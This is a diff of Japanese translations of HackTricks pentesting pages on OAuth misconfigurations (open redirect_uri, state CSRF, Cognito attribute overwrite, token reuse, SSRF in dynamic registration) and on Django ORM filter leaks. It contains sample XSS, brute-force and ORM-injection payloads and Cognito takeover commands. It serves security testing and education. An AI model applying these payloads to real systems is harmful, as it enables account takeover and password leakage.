- **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを維持するためのパラメータ**。ユニーク性は**CSRF保護メカニズム**として機能するために重要です。
|
||||||
- **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
|
- **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
|
||||||
- **code**: `authorization server`からの認可コードで、`client application`が`access_token`を取得するために`client_id`および`client_secret`と共に使用します。
|
- **code**: `authorization server`からの認可コードで、`client application`が`access_token`を取得するために`client_id`および`client_secret`と共に使用します。
|
||||||
@ -30,7 +30,7 @@ OAuth 2.0フレームワーク内の以下のコンポーネントを理解す
|
|||||||
**実際のOAuthフロー**は次のように進行します:
|
**実際のOAuthフロー**は次のように進行します:
|
||||||
|
|
||||||
1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。
|
1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。
|
||||||
2. サイトは次に、あなたの投稿にアクセスするためにhttps://example.comのアプリケーションに許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
|
2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
|
||||||
```
|
```
|
||||||
https://socialmedia.com/auth
|
https://socialmedia.com/auth
|
||||||
?response_type=code
|
?response_type=code
|
||||||
@ -50,23 +50,23 @@ POST /oauth/access_token
|
|||||||
Host: socialmedia.com
|
Host: socialmedia.com
|
||||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||||
```
|
```
|
||||||
6. 最後に、プロセスは https://example.com があなたの `access_token` を使用して Social Media に API コールを行い、アクセスすることで終了します。
|
6. 最後に、プロセスは https://example.com があなたの `access_token` を使用してソーシャルメディアにAPIコールを行い、アクセスすることで終了します。
|
||||||
|
|
||||||
## 脆弱性 <a href="#id-323a" id="id-323a"></a>
|
## 脆弱性 <a href="#id-323a" id="id-323a"></a>
|
||||||
|
|
||||||
### オープンリダイレクト_uri <a href="#cc36" id="cc36"></a>
|
### オープンリダイレクト_uri <a href="#cc36" id="cc36"></a>
|
||||||
|
|
||||||
`redirect_uri` は OAuth と OpenID の実装においてセキュリティにとって重要であり、認可後に認可コードのような機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトすることを許可し、アカウントの乗っ取りを可能にすることがあります。
|
`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。
|
||||||
|
|
||||||
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意の URL を受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のための HTML インジェクションが含まれます。
|
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。
|
||||||
|
|
||||||
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などの OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、そのサポートはサーバーによって異なります。
|
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
|
||||||
|
|
||||||
OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" のような貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
|
OpenIDサーバーをターゲットにする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
|
||||||
|
|
||||||
### リダイレクト実装における XSS <a href="#bda5" id="bda5"></a>
|
### リダイレクト実装におけるXSS <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される可能性があり**、**XSS に対して脆弱である**かもしれません。テストするための可能なペイロード:
|
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがサーバーの応答に反映される可能性があり**、**XSSに対して脆弱である**かもしれません。テストするための可能なペイロード:
|
||||||
```
|
```
|
||||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||||
```
|
```
|
||||||
@ -74,16 +74,16 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
|||||||
|
|
||||||
OAuthの実装において、**`state`パラメータ**の誤用または省略は、**クロスサイトリクエストフォージェリ(CSRF)**攻撃のリスクを大幅に高める可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護を回避できるようになります。
|
OAuthの実装において、**`state`パラメータ**の誤用または省略は、**クロスサイトリクエストフォージェリ(CSRF)**攻撃のリスクを大幅に高める可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護を回避できるようになります。
|
||||||
|
|
||||||
攻撃者は、認証プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
|
攻撃者は、認可プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
|
||||||
|
|
||||||
この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響が強調されています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。
|
この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響を強調しています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。
|
||||||
|
|
||||||
**`state`パラメータ**の適切な取り扱いと検証は、CSRFから保護し、OAuthフローを安全に保つために重要です。
|
**`state`パラメータ**の適切な取り扱いと検証は、CSRFから保護し、OAuthフローを安全に保つために重要です。
|
||||||
|
|
||||||
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
|
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
|
||||||
|
|
||||||
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
|
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
|
||||||
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを利用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することで悪用する可能性があります。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
|
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用し、自分のサービスに登録した後、アカウントのメールを被害者のものに変更することができます。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
|
||||||
|
|
||||||
### 秘密の開示 <a href="#e177" id="e177"></a>
|
### 秘密の開示 <a href="#e177" id="e177"></a>
|
||||||
|
|
||||||
@ -93,7 +93,7 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略
|
|||||||
|
|
||||||
### クライアントシークレットブルートフォース
|
### クライアントシークレットブルートフォース
|
||||||
|
|
||||||
サービスプロバイダーのアイデンティティプロバイダーに対して**クライアントシークレットをブルートフォース**し、アカウントを盗む試みを行うことができます。\
|
サービスプロバイダーのクライアントシークレットをブルートフォースで試みて、アカウントを盗むことができます。\
|
||||||
ブルートフォースのリクエストは次のようになる可能性があります:
|
ブルートフォースのリクエストは次のようになる可能性があります:
|
||||||
```
|
```
|
||||||
POST /token HTTP/1.1
|
POST /token HTTP/1.1
|
||||||
@ -106,15 +106,15 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
|||||||
```
|
```
|
||||||
### Referer Header leaking Code + State
|
### Referer Header leaking Code + State
|
||||||
|
|
||||||
クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダー内に反映される**と、脆弱性があります。
|
クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダーに反映されている**と、脆弱です。
|
||||||
|
|
||||||
### Access Token Stored in Browser History
|
### Access Token Stored in Browser History
|
||||||
|
|
||||||
**ブラウザの履歴にアクセス トークンが保存されているか確認します**。
|
**ブラウザの履歴にアクセス トークンが保存されているか確認してください**。
|
||||||
|
|
||||||
### Everlasting Authorization Code
|
### Everlasting Authorization Code
|
||||||
|
|
||||||
**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、一定の時間だけ存在する必要があります**。
|
**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、しばらくの間だけ存在するべきです**。
|
||||||
|
|
||||||
### Authorization/Refresh Token not bound to client
|
### Authorization/Refresh Token not bound to client
|
||||||
|
|
||||||
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
|||||||
|
|
||||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
このバグバウンティレポートでは、[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**が**ユーザーデータを上書きするのに十分な権限を持っている可能性がある**ことがわかります。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
|
このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**は、**ユーザーデータを上書きするのに十分な権限を持っている可能性があります**。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
|
||||||
```bash
|
```bash
|
||||||
# Read info of the user
|
# Read info of the user
|
||||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||||
@ -143,52 +143,52 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
AWS Cognitoを悪用する方法の詳細については、次を確認してください:
|
For more detailed info about how to abuse AWS cognito check:
|
||||||
|
|
||||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||||
|
|
||||||
### 他のアプリのトークンを悪用する <a href="#bda5" id="bda5"></a>
|
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
[**この書き込みで言及されているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**(コードではなく)を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
|
[**この書き込みで述べられているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**(コードではなく)を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
|
||||||
|
|
||||||
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成する**ことができるためです。次に、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
|
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができるでしょう。
|
> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。
|
||||||
|
|
||||||
### 2つのリンクとクッキー <a href="#bda5" id="bda5"></a>
|
### Two links & cookie <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキー(RU)**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
|
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキー(RU)**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
|
||||||
|
|
||||||
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定するために**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
|
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定するために**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
|
||||||
|
|
||||||
### プロンプトインタラクションバイパス <a href="#bda5" id="bda5"></a>
|
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することができ、ユーザーがプラットフォームにすでにログインしている場合、ウェブ上で与えられたアクセスを確認するように求められないようにします。
|
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することで、ユーザーがプラットフォームにすでにログインしている場合に、ウェブ上で与えられたアクセスを確認するように求められないようにすることができます。
|
||||||
|
|
||||||
### response_mode
|
### response_mode
|
||||||
|
|
||||||
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、最終URLでコードを提供したい場所を示すために**`response_mode`**パラメータを指定することが可能です:
|
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供したいかを示すことが可能です:
|
||||||
|
|
||||||
- `response_mode=query` -> コードはGETパラメータ内に提供されます: `?code=2397rf3gu93f`
|
- `response_mode=query` -> コードはGETパラメータ内に提供されます:`?code=2397rf3gu93f`
|
||||||
- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます `#code=2397rf3gu93f`
|
- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます`#code=2397rf3gu93f`
|
||||||
- `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます
|
- `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます
|
||||||
- `response_mode=web_message` -> コードはポストメッセージで送信されます: `window.opener.postMessage({"code": "asdasdasd...`
|
- `response_mode=web_message` -> コードはポストメッセージで送信されます:`window.opener.postMessage({"code": "asdasdasd...`
|
||||||
|
|
||||||
### OAuth ROPCフロー - 2FAバイパス <a href="#b440" id="b440"></a>
|
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
|
||||||
|
|
||||||
[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。
|
[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAを回避することが可能です。
|
||||||
|
|
||||||
### オープンリダイレクトに基づくウェブページのリダイレクトでのATO <a href="#bda5" id="bda5"></a>
|
### ATO on web page redirecting based on open redirect to referrer <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを実行する方法について説明しています。攻撃は次のとおりです:
|
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を使用してOAuthを悪用し、ATOを実行する方法について説明しています。攻撃は次のとおりです:
|
||||||
|
|
||||||
1. 被害者が攻撃者のウェブページにアクセスします
|
1. 被害者が攻撃者のウェブページにアクセスします
|
||||||
2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。
|
2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。
|
||||||
3. オープナーで、プロバイダーが被害者を認可すると、`redirect_uri`パラメータの値(被害者のウェブ)に30Xコードで戻しますが、リファラーには攻撃者のウェブサイトが残ります。
|
3. オープナーで、プロバイダーが被害者を認証すると、`redirect_uri`パラメータの値(被害者のウェブ)に30Xコードで戻します。これにより、攻撃者のウェブサイトがリファラーに残ります。
|
||||||
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードは**URLのフラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
|
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードはURLの**フラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
|
||||||
|
|
||||||
### SSRFのパラメータ <a href="#bda5" id="bda5"></a>
|
### SSRFs parameters <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
|
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
|
||||||
|
|
||||||
@ -196,26 +196,27 @@ OAuthにおける動的クライアント登録は、特に**サーバーサイ
|
|||||||
|
|
||||||
**重要なポイント:**
|
**重要なポイント:**
|
||||||
|
|
||||||
- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、およびロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。
|
- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。
|
||||||
- この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。
|
- この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。
|
||||||
- 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります:
|
- 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります:
|
||||||
- **`logo_uri`**: サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。
|
- **`logo_uri`**:サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。
|
||||||
- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う原因となる可能性があります。
|
- **`jwks_uri`**:クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う可能性があります。
|
||||||
- **`sector_identifier_uri`**: サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
|
- **`sector_identifier_uri`**:サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
|
||||||
- **`request_uris`**: クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
|
- **`request_uris`**:クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
|
||||||
|
|
||||||
**悪用戦略:**
|
**悪用戦略:**
|
||||||
|
|
||||||
- SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。
|
- SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。
|
||||||
- `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
|
- `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
|
||||||
|
|
||||||
## OAuthプロバイダーのレースコンディション
|
## OAuth providers Race Conditions
|
||||||
|
|
||||||
テストしているプラットフォームがOAuthプロバイダーである場合、[**レースコンディションの可能性をテストするためにこれを読んでください**](race-condition.md)。
|
テストしているプラットフォームがOAuthプロバイダーである場合、[**レース条件の可能性をテストするためにこれを読んでください**](race-condition.md)。
|
||||||
|
|
||||||
## 参考文献
|
## References
|
||||||
|
|
||||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Django ORM (Python)
|
## Django ORM (Python)
|
||||||
|
|
||||||
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます。
|
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます:
|
||||||
|
|
||||||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||||||
"""
|
"""
|
||||||
@ -21,9 +21,9 @@ return Response(serializer.data)
|
|||||||
|
|
||||||
すべてのrequest.data(これはjsonになります)が**データベースからオブジェクトをフィルタリングするために**直接渡されることに注意してください。攻撃者は予期しないフィルタを送信することで、期待以上のデータを漏洩させることができます。
|
すべてのrequest.data(これはjsonになります)が**データベースからオブジェクトをフィルタリングするために**直接渡されることに注意してください。攻撃者は予期しないフィルタを送信することで、期待以上のデータを漏洩させることができます。
|
||||||
|
|
||||||
例:
|
例:
|
||||||
|
|
||||||
- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
|
- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"username": "admin",
|
"username": "admin",
|
||||||
@ -33,7 +33,7 @@ return Response(serializer.data)
|
|||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> パスワードをブルートフォースして漏洩させることが可能です。
|
> パスワードをブルートフォースして漏洩させることが可能です。
|
||||||
|
|
||||||
- **リレーショナルフィルタリング**: 操作で使用されることすら予期されていなかったカラムから情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
- **リレーショナルフィルタリング**: 操作に使用されることすら予想されていなかった列から情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"created_by__user__password__contains": "pass"
|
"created_by__user__password__contains": "pass"
|
||||||
@ -51,7 +51,7 @@ return Response(serializer.data)
|
|||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます(前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です)。
|
> この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます(前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です)。
|
||||||
|
|
||||||
- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトでこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスする**ためのデフォルトの方法です。
|
- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトではこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスするためのデフォルトの方法**です。
|
||||||
```bash
|
```bash
|
||||||
# By users in the same group
|
# By users in the same group
|
||||||
created_by__user__groups__user__password
|
created_by__user__groups__user__password
|
||||||
@ -201,7 +201,7 @@ res.json([])
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
```
|
```
|
